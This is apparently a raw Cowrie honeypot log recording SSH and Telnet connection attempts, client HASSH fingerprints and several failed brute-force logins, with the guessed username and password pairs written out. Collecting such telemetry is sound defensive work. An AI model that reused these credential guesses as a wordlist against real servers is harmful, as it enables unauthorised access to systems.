{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:34.631630Z","src_ip":"176.65.132.129","session":"65442c8af3a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.240.31","src_port":36338,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e83ce2e2463","protocol":"ssh","message":"New connection: 101.32.240.31:36338 (159.203.135.109:22) [session: 6e83ce2e2463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:34.802266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:34.808244Z","src_ip":"101.32.240.31","session":"6e83ce2e2463","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:34.837906Z","src_ip":"176.65.132.129","session":"65442c8af3a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:35.054435Z","src_ip":"101.32.240.31","session":"6e83ce2e2463","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:35.108989Z","src_ip":"176.65.132.129","session":"65442c8af3a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k0nig2018","message":"login attempt [root/k0nig2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:36.081485Z","src_ip":"101.32.240.31","session":"6e83ce2e2463","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:36.193071Z","src_ip":"176.65.132.129","session":"65442c8af3a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.934517860412598,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:36.719895Z","src_ip":"152.42.224.71","session":"59679d02ad3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:37.335454Z","src_ip":"101.32.240.31","session":"6e83ce2e2463","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49324,"dst_ip":"159.203.135.109","dst_port":22,"session":"5baf3f335696","protocol":"ssh","message":"New connection: 176.65.132.129:49324 (159.203.135.109:22) [session: 5baf3f335696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:38.004057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:38.009027Z","src_ip":"176.65.132.129","session":"5baf3f335696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:38.091144Z","src_ip":"176.65.132.129","session":"5baf3f335696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.72771692276001,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:38.334181Z","src_ip":"152.42.224.71","session":"f38a60198385","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"AA123456","message":"login attempt [root/AA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:38.340392Z","src_ip":"176.65.132.129","session":"5baf3f335696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:39.425137Z","src_ip":"176.65.132.129","session":"5baf3f335696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":38970,"dst_ip":"10.17.0.5","dst_port":22,"session":"72377e7a79ba","protocol":"ssh","message":"New connection: 185.236.22.41:38970 (10.17.0.5:22) [session: 72377e7a79ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:40.144397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:40.245702Z","src_ip":"185.236.22.41","session":"72377e7a79ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:40.368599Z","src_ip":"185.236.22.41","session":"72377e7a79ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"404329s","message":"login attempt [root/404329s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:40.807829Z","src_ip":"185.236.22.41","session":"72377e7a79ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.135.168.228","src_port":53592,"dst_ip":"159.203.135.109","dst_port":22,"session":"508f08fcb934","protocol":"ssh","message":"New connection: 213.135.168.228:53592 (159.203.135.109:22) [session: 508f08fcb934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:40.968352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:40.972823Z","src_ip":"213.135.168.228","session":"508f08fcb934","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:41.102955Z","src_ip":"213.135.168.228","session":"508f08fcb934","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.162.8.14","src_port":38526,"dst_ip":"10.17.0.5","dst_port":22,"session":"430d394ed7ab","protocol":"ssh","message":"New connection: 45.162.8.14:38526 (10.17.0.5:22) [session: 430d394ed7ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:41.157572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:41.162682Z","src_ip":"45.162.8.14","session":"430d394ed7ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:41.279776Z","src_ip":"45.162.8.14","session":"430d394ed7ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49336,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa190bc38612","protocol":"ssh","message":"New connection: 176.65.132.129:49336 (159.203.135.109:22) [session: aa190bc38612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:41.370859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:41.375125Z","src_ip":"176.65.132.129","session":"aa190bc38612","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:41.458658Z","src_ip":"176.65.132.129","session":"aa190bc38612","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11121964","message":"login attempt [root/11121964] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:41.652041Z","src_ip":"213.135.168.228","session":"508f08fcb934","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sadmin","password":"sadmin","message":"login attempt [sadmin/sadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:41.704748Z","src_ip":"176.65.132.129","session":"aa190bc38612","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ts3server","message":"login attempt [root/ts3server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:41.738820Z","src_ip":"45.162.8.14","session":"430d394ed7ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:42.008496Z","src_ip":"185.236.22.41","session":"72377e7a79ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:42.785104Z","src_ip":"213.135.168.228","session":"508f08fcb934","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:42.862143Z","src_ip":"45.162.8.14","session":"430d394ed7ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:42.917622Z","src_ip":"176.65.132.129","session":"aa190bc38612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.886090993881226,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:43.828193Z","src_ip":"152.42.224.71","session":"353dc6b06b79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49354,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb2e479e3520","protocol":"ssh","message":"New connection: 176.65.132.129:49354 (159.203.135.109:22) [session: cb2e479e3520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:44.609535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:44.618438Z","src_ip":"176.65.132.129","session":"cb2e479e3520","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:44.700779Z","src_ip":"176.65.132.129","session":"cb2e479e3520","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:44.946156Z","src_ip":"176.65.132.129","session":"cb2e479e3520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58828,"dst_ip":"10.17.0.5","dst_port":23,"session":"34d6b354074e","protocol":"telnet","message":"New connection: 152.42.224.71:58828 (10.17.0.5:23) [session: 34d6b354074e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:45.485774Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:46.031492Z","src_ip":"176.65.132.129","session":"cb2e479e3520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52454,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3dbad183cc0","protocol":"ssh","message":"New connection: 176.65.132.129:52454 (159.203.135.109:22) [session: b3dbad183cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:48.088939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:48.093020Z","src_ip":"176.65.132.129","session":"b3dbad183cc0","protocol":"ssh"}
